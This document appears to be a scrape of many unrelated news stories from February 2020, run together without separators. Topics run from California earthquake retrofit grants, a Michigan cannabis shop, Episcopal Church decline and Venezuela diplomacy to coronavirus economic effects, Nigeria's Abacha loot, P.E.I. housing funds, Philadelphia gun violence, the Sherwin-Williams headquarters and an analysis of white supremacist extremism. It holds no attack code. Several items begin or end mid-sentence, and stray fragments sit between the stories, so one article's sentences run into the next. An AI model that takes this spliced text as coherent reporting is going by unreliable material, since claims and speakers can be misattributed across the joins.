foundation? Is it wood-framed construction? Was it built with a crawl space and/or a cripple wall? Is it on relatively level ground? Does it lay within a qualifying zip code If you want to learn more about the qualifications and how to apply, you can click through to the CEA's website, here. WHAT HAPPENS IF I AM SELECTED? If you qualify and are selected to receive money, you'll have eight weeks to get quotes from multiple contractors, and six months to complete construction, though you can apply for extensions. If you don't do that -- you won't get the money. In 2018, the completion rate for those selected was only 38%. Janiele Maffei, the CEA's Chief Mitigation Officer, say that low rate is due to a number of factors, including "life just [getting] in the way." There may be another barrier, depending on where you live: finding the rest of the money the retrofit will cost. While $3,000 may go a long way, additional costs to complete the job can be prohibitive. "We're acutely aware that we don't meet the needs of low-income communities and vulnerable communities for a variety of different reasons," said Maffei. "And it is our intent, with additional funding, to put together hopefully what I think will be a very meaningful and successful retrofit program in those vulnerable communities." The CEA puts aside 5% of investment income into their loss mitigation fund, some of which goes towards the EBB program. When bolstered by grants from outside agencies like FEMA, they're able to offer more homeowners assistance, according to Maffei. HOW MANY PEOPLE HAVE BEEN HELPED? About 4,500 homes in L.A. County and nearly 10,000 homes throughout California have been fixed with assistance from the program since it began in 2014. This year they hope to distribute money to 4,400 houses throughout the state, thanks to an additional $13 million via a grant from FEMA. WHEN CAN I APPLY? 2020 applications are now open until March 19. WHAT IF I DON'T GET SELECTED? Money to the program is limited, so those that qualify, but aren't selected, will be placed on a waiting list and offered assistance as more money rolls in. Whether or not you have earthquake insurance -- most homeowners in California don't -- a retrofit could be a worthwhile investment to protect your home. READ MORE ON EARTHQUAKES: When the consulate returned his passport, it was accompanied not by a visa but by a letter that said a decision about his visa had been delayed for three to six months. The two classes he was set to teach one on far-right populism and another on political memory in Germany were in jeopardy. THETFORD TOWNSHIP, MI -- Its always 4:20 at Freddies. Co-owner Barry Goodman took the batteries out of the provisioning centers clock so it always reads the time traditionally set aside for a weed break. A ribbon cutting at 9 a.m. Saturday, Feb. 22, will kick off the sale of recreational marijuana at the store. The celebration will continue throughout the day until 10 p.m. Customers will receive a free pre-rolled marijuana cigarette and their choice of a hat or T-shirt. There will be music, food, drinks and video games as well. In August of 2019, co-owners Nicole and Barry Goodman opened Freddies at 10092 N Dort Highway, as a medical marijuana dispensary. While the township has yet to approve a recreational marijuana ordinance, an exception was made for Freddies so the business could apply for licensing from the the Michigan Department of Licensing and Regulatory Affairs, Thetford Township Trustee Eric Gunnels said. Elite Wellness was also able to apply for a recreational license through the state. This is a positive addition to the community, Gunnels said. Freddies received licensing from the state for provisioning, growing and processing, with plans to eventually grow its own unique marijuana line, Nicole Goodman said. Eventually, the business also plans to deliver. As it expands into recreational, the owners were able to hire 17 more local employees, expanding the staff from six to 23. This is just a dream come true, Goodman said. Nicole Goodmans father is the namesake of the provisioning center. Freddie died six years ago, she said, but left a legacy of spreading joy to those close to him. This is a lifestyle that he embraced himself with marijuana and I want to carry that lifestyle and that experience to others, she said. Customer service will be what keeps people coming back to Freddies, Barry Goodman said. Youre one of a kind, he said. "No two fingerprints are the same from one person to the next and thats how well treat you here. A full menu of Freddies products is updated regularly and available online. People can also place an order online so it will be ready for pickup at the shop. Episcopal Church will cease to have Sunday worship attendance in 30 years, seminary pres. warns Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment A seminary president has warned The Episcopal Church's leadership that with the current rate of decline, they will cease to have any Sunday worship attendance in 30 years. Kristine Stache, interim president of the Evangelical Lutheran Church in America-affiliated Wartburg Theological Seminary, gave a presentation Friday before the denomination's Executive Council. Stache drew from the most recent parochial report data which found that, from 2008 to 2018, the denomination experienced a 24.9 percent decline in average Sunday attendance and a 17.5 percent decline in baptized members. It depicts a church that appears to be dying, said Stache, as reported by Egan Millard of Episcopal News Service, labeling the statistics very sobering. At the current rate of decline, according to Stache, the denomination will have no Sunday attendance in 30 years and no baptized members in 47 years. Despite the somber report on statistics, Stache also said that the decline might be less showing a dying church and more one that is becoming something we have yet to imagine. This kind of thinking looks nothing like weve ever done before. We dont have the current knowledge or solutions to address this work, she said. In fact, we cant even define the problem. But thats the point. Living in this space is about a mental shift to a focus on questions instead of answers. As with most religious groups in the United States, the Episcopal Church has experienced a considerable decline in membership over the past several years. Last year, the Episcopal Churchs Office of the General Convention reported that in 2018, membership in the denomination had dropped to 1.676 million. The 2018 total was less than half of the peak membership numbers for the denomination in 1966, when approximately 3.6 million Americans identified as Episcopalian. One factor in the decline has been the increasingly progressive theological direction of the mainline denomination, especially regarding LGBT issues. For example, the 2003 consecration of the Rev. Gene Robinson as the first openly gay bishop in the denominations history prompted many conservative congregations to leave in protest. Staches presentation before the Executive Council resembles a presentation the Rev. Canon Neil Elliot gave to the leadership of The Anglican Church of Canada last November. Presented before the ACC Council of General Synod, Elliot concluded that the Canadian denomination would effectively cease to exist by the year 2040. ACC Archbishop Linda Nicholls said in a statement last year that Elliot's report was a wake-up call for the denomination. Were called to do and be Gods people in a particular place, for the purpose of sharing the good news of Jesus Christ, and the only question is, How do we need to share it, so that it might be heard by those around us? Nicholls said. WASHINGTON (UrduPoint News / Sputnik - 22nd February, 2020) The members of the Lima Group will coordinate on the specifics of their next steps on Venezuela and particularly which nation reaches out to which country in the next few days, Peruvian Ambassador to the United States Hugo de Zela said on Friday. The Lima Group is set to reach out to other countries in order to get them involved in solving the Venezuelan crisis, Canada's Foreign Affairs Minister Francois-Philippe Champagne said at a press briefing on Thursday. "The next step would be to make a coordination among the members of the Lima group to see what country speaks to which one," de Zela said. "In a meeting as short as the one we had yesterday we had no time to get in the specifics, but that will be done in the next few days." The Lima Group, he added, will not eliminate any country from the effort. "We are going to try to get as many countries as we can," he said. Champagne said they would talk to the nations that want to pursue the same kind of approach and promote a peaceful transition. Venezuela has been suffering from a severe political crisis since the beginning of last year, when Guaido, the head of the opposition-controlled National Assembly, proclaimed himself an interim president of Venezuela in a bid to oust reelected Maduro from power. Maduro has said Guaido is a US puppet working with Washington to orchestrate a coup so that the United States can control Venezuela's natural resources. In addition to the Trump administration, only about 50 other countries - all US allies - have recognized Guaido. Another tech conference pullout. Fewer cargo ships calling at ports. Chinese tourists staying away. The economic impacts of the coronavirus are starting to be felt across California, though right now they arent slowing the economy at large. That could change, experts say, if the virus continues to spread. A lot of it depends on how this situation starts to show an end game, said Robert Eyler, an economics professor at Sonoma State University and director of the schools Center for Regional Economic Analysis. If the COVID-19 virus morphs into a global pandemic, it could push the U.S. economy into recession and deliver a $1.1 trillion hit, according to Oxford Economics. In San Francisco, the effects are already apparent. On Friday, Verizon became the latest big-name company to pull out of a major cybersecurity conference at Moscone Center next week. AT&T and IBM already said they would not attend. San Francisco Mayor London Breed wrote a letter urging people planning to come to the RSA Conference for which registration starts Saturday to stay the course and not give in to fears, rumors and misinformation. Other conferences have been affected: Facebook has canceled its 5,000-person marketing convention at Moscone Center next month due to virus fears, and the company pulled out of the Game Developers Conference scheduled there in mid-March. Gov. Gavin Newsoms Chief Economic and Business Advisor Lenny Mendonca told The Chronicle that he is not overly concerned about the economic impact of the virus in the short term, when it would be minimal but it could grow if the disease continues to spread. Mendonca says he is particularly concerned about misperceptions: Im as worried about people being overly concerned about it, and profiling and doing things that are not appropriate given the facts of the situation. Ports are bracing for a hit because closed factories in China mean fewer products are being shipped to the U.S. Port of Oakland spokesman Mike Zampa said that while the ports January cargo volumes were strong, there could be impacts ahead. Zampa said some shipping lines have canceled voyages in spring, anticipating reduced demand for space on container ships. He added in a text message that about 30 fewer ships with Asia routes will call at the Oakland port through spring. The port saw 118 total ships in January, according to Zampa. About 78% of the ports trade was with Asia in 2018. Major global shipping companies like Denmarks Maersk and Germanys Hapag-Lloyd began announcing this month they would cancel some sailings between Asia and the U.S. West Coast because of a decreased demand for cargo due to coronavirus. Spokesman Nils Haupt of Hapag-Lloyd said by email that further service cuts may follow, depending on the developments in China and when production there will revert to full capacity. This is impacting all major product groups sourced from China and is resulting in reduced inventory levels in the U.S. across most consumer products. Eyler predicted that unless the infection rate continues to rise during the next several months, supply chains between California and China should be back to normal by summer. In the meantime, high-tech manufacturing companies like Apple and Tesla relying on Chinese-made parts will continue to bear the brunt of factory closures in China, with orders still delayed despite some factories reopening. Apple said this week that global supplies of iPhones will be constrained, even though its phone manufacturing facilities in China have reopened. The company also said it would not meet its projected revenue for the March quarter, partly due to decreased demand. All of Apples stores in China are closed. Among California tech giants, Apple could be the worst off, said Patrick Moorhead of Moor Insights and Strategy. Apple is more adversely affected than other manufacturers as the company assembles most if not all of its iPhones, Watch(es) and AirPods there, Moorhead wrote in an email. He added that companies like Dell and Palo Altos HP Inc. will be less affected, since they assemble fewer of their products in China. Electronics makers like Flex, which has a major presence in the South Bay including prototyping and logistics plants in Milpitas, could benefit in the long term from the disruptions, according to Moor, who said companies may think twice when deciding whether to make things in China. I believe more companies will factor in China pandemic risk in the future and Flex could be one of the beneficiaries. Flex did not respond to requests for comment. Air Quality Tracker Check levels down to the neighborhood Ratings for the Bay Area and California, updated every 10 minutes Companies that do assembly stateside like Santa Cruzs Future Motion, which makes its Onewheel self-balancing scooter in San Jose are more protected from disruptions despite having some parts come from Asia. Building our products in the U.S. gives us a level of insulation from whats happening with the coronavirus, and Im glad were not trying to build product in China right now, CEO Kyle Doerksen said in an email. He said the company has plenty of material on hand and obtains processors and memory chips from Taiwan, Malaysia and Singapore. Doerksen said Taiwanese suppliers are mostly back online. We planned for the shorter shutdown, he said. Long term, well be short some components or well need to pay a premium to fly components in versus shipping by sea. Shipping delays for goods that count on Chinese-made parts could mean higher prices on sites like Amazon.com, Eyler of Sonoma State said. It can lead to a short-term boost on the U.S. side for substitute goods, he added, noting People might go to the store and buy things instead of buying on Amazon. In the short term, companies will probably wait for the delays to pass rather than move complex assembly lines elsewhere, a costly alternative, according to Eyler. The reduction in tourism from China due to travel restrictions and canceled flights none are currently operating directly between San Francisco and China could also hurt the travel industry statewide. San Francisco gets more visitors from China than from any country except Mexico. Across California, Chinese travelers spend about $4 billion annually, according to Visit California CEO Caroline Beteta. Mendonca said by email that he anticipates a temporary hit to tourism in California. On the flip side, a sharp increase in Chinese travel is expected in the second half of 2020 due to pent-up demand, he wrote. Chase DiFeliciantonio is a San Francisco Chronicle staff writer. Email: chase.difeliciantonio@sfchronicle.com Twitter: @ChaseDiFelice Nigeria is committed to a deal that would help Kebbi State Governor, Atiku Bagudu, keep over $100 million from funds stolen by late kleptocrat, Sani Abacha, according to court documents reported by Bloomberg, putting cooperation with the United States over Abacha loot recovery at risk. The deal was first negotiated in 2003 under the former president, Olusegun Obasanjo, and then updated in 2018 under President Muhammadu Buhari, whose administration now reportedly insists on not backing recovery efforts against Mr Bagudu Mr Bagudu was one of Mr Abachas bagman, using phoney companies to siphon and move stolen funds across transnational borders, when the kleptocrat ruled Nigeria between 1993 and 1998. He spent six months in a U.S. federal prison in 2003, while awaiting extradition to British dependent Jersey to answer questions relating funds traced to the account of Doraville Properties Corp, a company he controlled alongside Mohammed Abacha, to stash stolen money abroad. But before he was handed over to authorities at Jersey, Mr Bagudu quickly negotiated a deal with the U.S. and Jersey authorities to return more than $163 million of the allegedly laundered assets to Nigeria in exchange for Jerseys withdrawal of the extradition request and his return to Nigeria, according to a court document previously reported by PREMIUM TIMES. The 2003 deal was approved by a United Kingdom court, Bloomberg now reports, referencing a December 23 memorandum opinion by a Washington D.C. judge John Bates. In exchange for the money forfeited by Mr Bagudu under the 17-year old deal, Nigeria would not file any civil and criminal claims against him over his involvement in government corruption, according to the reported court document. The implication: Nigeria renounced any interest whatsoever in Mr Bagudus trust assets, including those America wants to help the African nation recover, the court opinion reportedly stated. Mr Bagudu then returned to Nigeria first to become a senator and then a governor of Kebbi State in Nigerias north. American challenge American court filings reportedly showed Mr Bagudu successfully sued the Nigerian government in 2018 for violating the 2003 deal. Then, the administration of Mr Buhari entered into an updated deal with the Kebbi governor, who like the president is a member of the ruling All Progressives Congress. The updated deal requires a transfer of ownership of investment portfolios, worth 141 million euros ($155 million) to Nigeria, which would then pay 98.5 million euros ($106 million or N38.5 billion) to Mr Bagudu and his affiliates, according to the Washington judges opinion cited by Bloomberg. The deal has since not been executed as the UK blocked the funds transfer following Americas request. Notwithstanding, Nigeria reportedly insists it is bound by the updated 2018 deal and would not assist America in Mr Bagudus case. Bloomberg reports that American officials are opposing the deal meant to help Mr Bagudu a part of the illicit funds. Nigerias justice minister, Abubakar Malami, did not respond to requests for comment on this report, nor did Mr Bagudu. Mr Bagudu has consistently shunned PREMIUM TIMES repeated requests for his comment on our reporting of his role in helping Mr Abacha move stolen funds offshore. The moves to recover the stolen funds linked to the Abacha junta started just after Mr Obasanjo got to the office in 1999. In April 2002, the Abacha family returned $1 billion to Nigeria in a deal which involved the Swiss Federal Office of Justice. The deal allowed the family to keep $100 million and required the government to drop some criminal charges against Mohammed, Mr Abachas son, New York Times reported then. In 2006, another $723 million Abacha loot was returned to Nigeria from Switzerland but the use of the recovery was largely unaccounted, Transparency International said. That past experience led Switzerland to controversially attach conditions to the repatriation of this batch of Abacha loot (US$322 million in 2018), including third party oversight meaning that the World Bank will now monitor the distribution of the funds, reported Transparency International. Nigeria has also recovered other tranches of Abacha loot, including the latest, US$308 million, laundered by Kebbi governor, Mr Bagudu, from Jersey. Mr Abacha was a notorious kleptocrat and is listed alongside Indonesias Suharto and Mobutu Seko of Zaire (now DR Congo) among the worst state official thieves in the world by Transparency International. It is estimated that Mr Abacha stole between three billion and five billion dollars, most from Nigerias oil wealth. Seniors, the Indigenous community, Islanders facing homelessness and those with physical and intellectual disabilities will receive almost $3 million for shelter, the province announced Friday morning at a news conference in Charlottetown. The money will flow through the Community Housing Fund, which is a partnership between the Canadian Mental Health Association and the province's Department of Social Development and Housing. "We are very pleased to partner with the province in this major investment for Islanders in need," said Matt Younker, president of the Canadian Mental Health Association on P.E.I., in the release. "Each of these projects will have a positive impact in their respective communities by providing affordable housing for vulnerable populations and to those that require increased support." "We must be open to ideas and consider a variety of housing solutions that help support safe, affordable, accessible housing," said Minister of Housing Ernie Hudson. The organizations receiving funding are: Parkdale Sherwood Lions Club $750,000. Inclusions East $587,019. Cymbria Lions Club $541,656. Harbourview Training Centre $420,925. Queens Country Residential Services $398,800. Harvest House $55,000. P.E.I. Council of People with Disabilities $50,000. Town of Stratford $50,000. Native Council of P.E.I. $50,000. Blooming House Women's Shelter $25,000. More affordable housing A number of things are considered when the Canadian Mental Health Association and government try to determine who gets funding, and how much of it. "You want to look at, you know, the needs of the different groups that we're trying to deal with whether it be seniors, whether it be individuals with physical or intellectual disabilities," said John Horrelt, a board member for the association. Horrelt said they tried to take a regional approach with the funding. Travis Kingdon/CBC "The urban areas because they are centralized, they're larger they're always going to get the first look," he said. "Because that's obviously where the most need would be. But that doesn't negate or mean that there's no need in the rural areas." Story continues The release said the Lions Club in the Parkdale Sherwood area of Charlottetown plans to build 32 affordable housing units in Sherwood for seniors, that will include 26 one-bedroom and six two-bedroom units. A majority of the money the Lions Club in Parkdale is getting will go toward paying the mortgage on the new building. "If you're building an affordable housing unit, the biggest cost of course over the long term is the mortgage. And so these projects allow you to have a rent level that's affordable but also then able to afford the mortgage payments," said Barry Stewart, with the Parkdale Sherwood Lions Club. The club expects construction will start on the new building in 2021. Inclusions East plans to build a new independent living apartment complex in Montague, including eight one-bedroom units and one three-bedroom unit, the release said. The Cymbria Lions Club will spend more than $541,000 to build a 12-unit affordable housing development for seniors in South Rustic, on land next to the Lions Club Community Centre. Harbourview Training Centre in Souris, which supports Islanders with intellectual disabilities, will spend more than $420,000 to build supportive housing for 10 to 12 people with intellectual disabilities, the release said. Queens County Residential Services, a non-profit that provides day programming, employment supports, respite care and residential services for Islanders with intellectual disabilities, will receive almost $400,000 toward building a new accessible home for six residents, as well as one respite unit. Travis Kingdon/CBC Harvest House, which operates an outreach centre in Charlottetown for Islanders struggling with addictions and other problems, plans to spend $55,000 to renovate is second floor into transitional housing for homeless men, in collaboration with Bedford MacDonald House shelter in the city. The P.E.I. Council of People with Disabilities said it plans to spend $50,000 on pre-construction research and design for affordable mini-homes and a training facility for carpentry, in partnership with the Atlantic Canada Regional Council of Carpenters, Millwrights and Allied Workers. The Town of Stratford will put $50,000 toward a study on land use planning and housing to be carried out jointly with Cornwall and Charlottetown. The Native Council will spend $50,000 of developing plans for a 20-unit temporary housing facility for members of the off-reserve Indigenous community Blooming House women's shelter in Charlottetown will expand services and develop a five-year plan with its $25,000, the release said. More from CBC P.E.I. 1.4k SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard Rachel Maddow reminded America on Thursday night that Donald Trump didnt just intervene in the Roger Stone case because hes a good friend. No, Trump inserted himself in the case because there is no criminal he isnt willing to protect so long as theyre committing crimes on his behalf. Its not just the presidents friend here whos getting this intervention, the MSNBC host said. He is trying to reward someone and protect someone who broke the law and committed multiple felonies in order to cover up the presidents behavior. Video: Rachel Maddow reveals the real reason Trump intervened in the Roger Stone case. #ctl #p2 pic.twitter.com/m6eMJnNtNg PoliticusUSA (@politicususa) February 21, 2020 Maddow said: It has sort of gone without much mention that its not just the presidents friend here whos getting this intervention. This is a case where the president is intervening to help himself, because the person who benefitted from what Roger stone did, the person who Roger stones crimes were designed to protect was the president. So when the president is trying to intervene in Stones case to make sure he doesnt get in trouble, he is trying to reward someone and protect someone who broke the law and committed multiple felonies in order to cover up the presidents behavior. There is no criminal Trump isnt willing to protect for political purposes For a few months, Republicans in Congress had to work tirelessly to keep a straight face while pushing the claim that Donald Trump only extorted Ukraine because hes passionate about fighting corruption. But its always been laughable to suggest that the man who ran a fake university and a slush fund charity somehow cares about the rule of law. We saw it in his DOJ intervention to help rescue his felon former campaign adviser Roger Stone. We saw it in his latest flurry of pardons. And were likely to see it again as Trump moves closer to pardoning criminals like Mike Flynn and Paul Manafort. For Donald Trump, this isnt about protecting a friend. Its about rewarding a fellow criminal and sending the message to future criminals that hell give them the same treatment if they violate the law on his behalf. Follow Sean Colarossi on Facebook and Twitter Union Home Minister Amit Shah on Friday held extensive discussions with his Maldivian counterpart Sheikh Imran Abdulla during which they discussed about ways to further strengthen the ties between the two countries. Abdulla is on a four-day visit to India since Thursday. "Met Mr. Sheikh Imran Abdulla, Home Minister of the Republic of Maldives. Held extensive discussions on ways to further deepen and strengthen ties between India and Maldives," Shah tweeted after the meeting. Both the ministers were believed to have discussed issues relating to bilateral security cooperation, an official said. India and Maldives share ethnic, linguistic, cultural, religious and commercial links steeped in antiquity. Except for a brief period between February 2012 and November 2018, relations between the two countries have been close, cordial and multi-dimensional. India was among the first to recognise Maldives after its independence in 1965 and to establish diplomatic relations with the country. Proximity of Maldives to the west coast of India (it is barely 70 nautical miles away from Minicoy and 300 nautical miles away from India's West coast), and its situation at the hub of commercial sea-lanes running through the Indian Ocean and its potential to allow a third nation's naval presence in the area imbues it with significant strategic importance to India. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Despite Trumps skepticism of Russian efforts to damage American democracy, officials in his administration have repeatedly warned that Russia has ongoing plans to interfere in U.S. elections and foster divisions among Americans, part of a strategic goal to undermine U.S. standing in the world. Some analysts believe the Kremlins goal is to cause maximum disruption within the United States and that it throws the support of its hackers and trolls behind candidates based on that goal, not any particular affinity for the people running. BAKU, Azerbaijan, Feb. 20 Trend: President of the Republic of Azerbaijan Ilham Aliyev met with President of the Senate of the Italian Republic Maria Elisabetta Alberti Casellati. President of the Senate Maria Elisabetta Alberti Casellati greeted President Aliyev. The Azerbaijani president and the president of the Italian Senate posed together for photographs. Casellati recalled her visit to Azerbaijan and First Vice-President Mehriban Aliyeva`s visit to Rome. She noted that friendship between the two countries was rapidly expanding. Highlighting the Italian president`s official visit to Azerbaijan, Casellati said that Azerbaijan-Italy cooperation, which is based on historical ties, was developing in all areas. President Aliyev stressed the importance of Italian President Sergio Mattarella`s official visit to Baku. The president said that this visit once again demonstrated that the bilateral relations were at a high level. The Azerbaijani president underlined that documents signed during his state visit to Italy were of great importance. President Aliyev pointed out that the Joint Declaration on Strengthening Multidimensional Strategic Partnership between the Republic of Azerbaijan and the Italian Republic would raise the bilateral ties to a new high level. It was particularly underlined that Italy was the main partner of Azerbaijan in political, economic and trade areas among the European countries. The sides emphasized the vital importance of the interparliamentary ties, and noted that Azerbaijan and Italy cooperate within the OSCE Parliamentary Assembly, PACE and other organizations. The significance of the successful implementation of the TAP project, as well as the participation of the Italian companies in energy and other projects in Azerbaijan was stressed. The sides then exchanged keepsakes. Philadelphia Police Commissioner Danielle Outlaw opens up the first panel for the City Council hearing on gun violence prevention on Thursday, Feb. 20, 2020. Multiple panels of law enforcement, professionals, families and victims of gun violence speak on the issues and stories they experienced. Read more Philadelphia Police Commissioner Danielle Outlaw on Thursday told City Council members that the department is working hard to solve homicides but must do better, and must improve communication with victims families, who sometimes have trouble reaching homicide detectives to learn the status of investigations. As a mother of two sons, 21 and 18, I dont know what I would do if she couldnt reach a detective, said Outlaw, 44, as she appeared with other city and law enforcement officials before a special committee on gun violence prevention. I would be inconsolable. Outlaw, who took over the department on Feb. 10, heard parents and other relatives speak of seeing their loved ones shot near their homes by gunmen who lived within walking distance and yet often remained on the streets, seemingly unafraid of being caught. What I want to ask for is for the Philadelphia Police Department, and the law enforcement of this city, to stop giving us excuses about solving our loved ones murders, said Stanley Crawford, 67, whose son William was killed in Rhawnhurst 17 months ago by a gunman who remains on the loose. Listen, if Im in the murdering business, Philadelphia is a good town to be in," he said. If youre telling us you cant solve the murders, then youre in the wrong business. Felicia Pendleton, who founded Mothers United by Angels after her son was killed four years ago, said the 15-year-old boy who killed him was known on the street as a crash dummy" a teen used by older accomplices to commit shootings. Pendleton said police told her he had killed three people before her son. This shouldnt just be another conversation. Im over conversations. Work has to be done, she said. We matter, the co-victims matter. We have to stand behind one another. The hearing, convened by Councilmember Kenyatta Johnson, comes as gun violence surges. As of Wednesday, there were 51 homicides this year most by guns compared with 42 at this time last year. Chief Inspector Frank Vanore, who oversees the Homicide Unit, apologized to those who complained about not being able get in contact with detectives. He said the homicide clearance rate so far this year is 61%, an improvement from 52% last year and 42% in 2018. Outlaw said she is mindful that that is little comfort to those whose loved ones slayings remain unsolved. Clearance rates dont really matter when you dont have that closure," she told reporters after the hearing. "So, Im cautious about being a braggart on our improvements, but at the same time, I would like to point out and acknowledge the good work that is being done. Outlaw said she will embrace procedural justice, working with local, state and federal partners, using data and technology, training and accountability, and giving all stakeholders clear communication and directions. We will be a learning organization," she said during the hearing. And I also believe in working with others to break down the silence that too often impedes progress on community engagement and inclusion. Earlier in the hearing, Councilmember Curtis Jones Jr. said, No election can prepare you for the sound of a mother who has prematurely lost a child to gun violence. He welcomed Outlaw, the citys first African American woman police commissioner, saying, You are another piece of the puzzle that we look forward to working with in stopping gun violence." . Councilman Allan Domb told the new commissioner that she has friends in City Hall. Crime is the number one issue in the city of Philadelphia, he said. The message is brief. What tools you need, you need to hire more police, you need more technology I heard you speak about technology you need more cameras, you need drone systems. Whatever you need, you need to come to us. CLEVELAND, Ohio The eureka moment for negotiators working to keep Sherwin-Williams headquarters in Cleveland came nearly two months ago, Mayor Frank Jackson disclosed this week. Jackson said his administration detected a encouraging clue in late December, when Sherwin-Williams representatives started talking about specific sites in the city. We got out of the big picture of it and the discussions of that big picture and into the specifics of the site -- the different things that may be associated with a site and what you have to do to prepare a site, he said. Once we got into that, our confidence was more that not only were we in the running, but basically it was ours to lose. Ultimately, negotiators from McDonald Hopkins, corporate lawyers hired by the city to work with the company, settled on a package of incentives worth up to $100 million. And Sherwin-Williams announced plans to build a headquarters on land now used for parking just west of Public Square in downtown Cleveland. Related coverage Clevelands incentive package to Sherwin-Williams would commit millions to secure Fortune 500 company for generations Sherwin-Williams confirms plans for new downtown Cleveland HQ, Brecksville R&D center Sherwin-Williams has been a Cleveland fixture for 154 years, legacy expected to continue in NE Ohio The Fortune 500 company also proposes to move its research and development operation from the east side of the Flats and other sites to the former Veterans Affairs campus in Brecksville. The mayor unveiled details of his package of proposed incentives on Thursday. It will be introduced before City Council on Monday. If approved by City Council, likely in mid-March, the incentives package would include giving the company: Thirty years of tax-increment financing that will allow the company to use money it would have paid in property taxes on the improvements to finance the project. The TIF would not affect Cleveland school taxes. It is expected to provide Sherwin-Williams with about $2 million to $2.5 million a year. A construction grant of up to $13.5 million to be used toward $300 million in total development on the site, including site work, foundations and construction. Up to $11.5 million over 15 years in a job-creation grant based on 50% of the income taxes collected on newly created jobs in the city. Cleveland would award the money annually based on reports submitted at the end of each year by the company. In exchange, Cleveland gets a firm commitment from the company, founded in Cleveland in 1866, that it will remain headquartered in a new complex on Public Square for at least 10 years. More importantly, it can draw some long-term security. Sherwin-Williams said in September that it was looking for a headquarters to last 100 years. Cleveland City Council will review the incentive package with public hearings in at least two committees, City Council President Kevin Kelley said Thursday. He acknowledged there is relief in having the deal settled. We always put forth great reasons that Sherwin-Williams could continue to call Cleveland its home, Kelley said. You can take nothing for granted. Cuyahoga County and the state of Ohio, through Jobs Ohio, also have offered additional incentives. Jackson, on Thursday, credited the state with playing a major role in securing Sherwin-Williams commitment. Jobs Ohio has not yet made public the terms of its incentive package. The state of Ohio played a significant role in saying Ohio was the place, Jackson said. Once Ohio was the place, we made sure Cleveland was there. Sherwin-Williams intends to build 1-million-square-foot headquarters. The site is a short walk from the companys longtime home at the historic Landmark Office Towers. The new building will provide closure on a site where plans for previous towers have fallen through dating back decades. Theres always been a conversation, even back when I was in council, about surface parking lots downtown and were they the highest and best use of prime real estate in the downtown, Jackson said. That question has been addressed at this point because thats where this project will go. More from Cleveland City Hall Cleveland police Chief Calvin Williams says staffing now above 1,600, wants to focus on stability, efficiency, good policing Cleveland could weather a 2-year recession without cutting services, Mayor Frank Jackson says Cleveland, neighborhood non-profit target 14-block, East Side commercial strip for growing new businesses Get insider texts about Cleveland City Hall on your phone from Robert Higgs. Cut through the clutter of social media and communicate directly with cleveland.coms City Hall reporter, just like you would with your friends. Sign up here and give it a try. Its just $3.99 a month, which works out to about 13 cents a day. The President of the Republic of Congo Denis Sassou Nguesso this week inaugurated new infrastructure for the Congo terminal in the commercial city of Pointe Noire. Managers of the port hope this will further consolidate its position as a transit country in the Gulf of Guinea. Seraphin Bhalat, CEO of the autonomous port of Pointe Noire, said the introduction of this modern infrastructure and equipment has made it possible to significantly improve the capacity and operational performance of the port. Thus, traffic volumes have increased from 322,000 containers in 2009 to 921,000 containers in 2019. And over the same period, the capacity of these ships has risen from 3,000 to 12,000. The port received two separate awards in 2018 and 2019 as Best West and Central African Port. After the profound economic crisis that plagued the country from mid-2014 following the decline in oil prices, the Congolese economy resumed an upward trajectory last year. Growth was driven by the increase in oil production and by favorable market conditions, with oil prices holding steady. Economic growth is projected to reach 5.4% in 2020, then continue its trajectory, gaining an average of 1.8% per year for the period 2021-22. I really enjoyed this interview that Kevin Kelly conducted with sci-fi author, Neal Stephenson, as part of The Long Now Foundation's salon series at The Interval in San Francisco. During the one hour exchange, these two inspiring thinkers discuss Neal's latest book, Fall, or Dodge in Hell, some of the inspirations behind it, and how some of these technologies may come to pass. Half of the video is Q&A with the audience. Here is the cover slap copy for the book: Fall, or Dodge in Hell" is pure, unadulterated fun: a grand drama of analog and digital, man and machine, angels and demons, gods and followers, the finite and the eternal. In this exhilarating epic, Neal Stephenson raises profound existential questions and touches on the revolutionary breakthroughs that are transforming our future. Combining the technological, philosophical, and spiritual in one grand myth, he delivers a mind-blowing speculative literary saga for the modern age. Image: YouTube They may lack centralised organisation or even a common goal, but white supremacists encouraged by the exploits of extremist "heroes" canonised on social media pose an ever-growing security threat, analysts say. After nine people in Germany were killed by a gunman with "a very deeply racist attitude," the country's interior minister on Friday warned that the far right still posed a "very high" security threat. The shootings on Wednesday at a shisha bar and a cafe in the city of Hanau were the latest in a growing list of attacks in the West attributed to self-appointed defenders of a "white race" perceived to be under threat from migration, globalisation and Islam. From Christchurch to Pittsburg, Halle to El Paso, militants have been emboldened by a narrative of hatred spread on the internet with an ease that observers find worrying. "This digital ecosystem is fuelling a cumulative momentum, which serves to lower 'thresholds' to violence for those engaged in this space, both in the United States and elsewhere," Graham Macklin, assistant professor at the Center for Research on Extremism at the University of Oslo, said in a recent article. One attack "encourages and inspires another, creating a growing 'canon' of 'saints' and 'martyrs' for others to emulate," he wrote -- noting that Norwegian neo-Nazi Anders Behring Breivik, who massacred 77 people in 2011, had become "an aspirational figure" for many. - Internet a 'facilitator' - According to the Soufan Center, a global security think-tank, white supremacism has entered a phase of globalisation driven by niche websites popular among neo-Nazis, such as Gab and 8chan, and even the so-called "white power" music scene. "White supremacy extremists rely on a diverse set of techniques to radicalise potential recruits," it said in a recent report, with attackers "lionised" on such platforms "as heroes, martyrs, 'saints,' 'commanders' and other honorifics." White extremists do not share a single, common goal -- some seek self rule, others the expulsion of minorities -- but all believe their "race" to be under threat. "Many adherents to transnational white supremacy extremism hold millenarian and apocalyptic beliefs about an imminent race war, with some ardent believers in the end of time and influenced by elements of Christian identity," Soufan said. Some believe their governments are conspiring with minority populations to bring about their demise -- the so-called Great Replacement theory, based on the title of a 2011 book by French writer Renaud Camus. Anais Voy-Gillis, an extreme right specialist at the French Institute of Geopolitics, said: "The current context, with notably the migrant crisis of 2015, has surely contributed to the radicalisation of many people who are now ready to cross over to action." Not only fringe sites are used to spread messages of fear, hate, and racial superiority. The gunman who attacked two mosques in Christchurch, New Zealand, last March, killing 51 Muslim worshippers, live-streamed his attack live on Facebook. A few months later, an anti-Semitic attack in the east German city of Halle, which claimed two lives, was posted on the streaming platform Twitch. "There are many radical groups in the world and the internet is a facilitator for them to get together nationally and even internationally," Voy-Gillis told AFP. - 'Exporter' of white supremacism - In Europe, a well-organised coordination of far-right efforts seems unlikely, for now. Last June, a French parliamentary committee conducted an analysis of far-right groups in the country, including attempts to make contact with like-minded organisations elsewhere in Europe, notably in Germany, 